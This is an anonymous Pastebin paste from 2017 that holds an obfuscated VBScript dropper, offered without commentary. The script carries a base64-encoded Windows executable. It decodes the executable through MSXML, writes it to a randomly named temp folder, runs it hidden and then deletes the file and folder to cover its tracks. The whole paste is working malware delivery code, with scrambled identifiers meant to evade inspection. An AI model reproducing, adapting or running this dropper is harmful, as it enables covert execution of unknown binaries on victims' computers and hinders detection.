SHARE
TWEET

Untitled

a guest May 19th, 2017 35 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Function pLLSakvtJacN(yeugkhdtymsDqa)
  2.     gMVlghHDYZdpv = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
  3.         "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
  4.         yeugkhdtymsDqa & "</B64DECODE>"
  5.     Set IwXGrQoGJ = CreateObject("MSXML2.DOMDocument.3.0")
  6.     IwXGrQoGJ.LoadXML(gMVlghHDYZdpv)
  7.     pLLSakvtJacN = IwXGrQoGJ.selectsinglenode("B64DECODE").nodeTypedValue
  8.     set IwXGrQoGJ = nothing
  9. End Function
  10.  
  11. Function XgqgPUNcdKWo()
  12.     hDDeUQtvf = "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"
  13.     Dim cJFJQngNTdyN
  14.     Set cJFJQngNTdyN = CreateObject("Scripting.FileSystemObject")
  15.     Dim IPozcYMB
  16.     Dim mcJwKefLRslMCAN
  17.     Set IPozcYMB = cJFJQngNTdyN.GetSpecialFolder(2)
  18.     mcJwKefLRslMCAN = IPozcYMB & "\" & cJFJQngNTdyN.GetTempName()
  19.     cJFJQngNTdyN.CreateFolder(mcJwKefLRslMCAN)
  20.     knQoMhTQdhl = mcJwKefLRslMCAN & "\" & "ziHSmgiH.exe"
  21.     Dim uunEHbSbrTvCEZ
  22.     Set uunEHbSbrTvCEZ = CreateObject("Wscript.Shell")
  23.     wVVgvfPMjkzA = pLLSakvtJacN(hDDeUQtvf)
  24.     Set QwUdYrUgNvml = CreateObject("ADODB.Stream")
  25.     QwUdYrUgNvml.Type = 1
  26.     QwUdYrUgNvml.Open
  27.     QwUdYrUgNvml.Write wVVgvfPMjkzA
  28.     QwUdYrUgNvml.SaveToFile knQoMhTQdhl, 2
  29.     uunEHbSbrTvCEZ.run knQoMhTQdhl, 0, true
  30.     cJFJQngNTdyN.DeleteFile(knQoMhTQdhl)
  31.     cJFJQngNTdyN.DeleteFolder(mcJwKefLRslMCAN)
  32. End Function
  33.  
  34. XgqgPUNcdKWo
RAW Paste Data
Top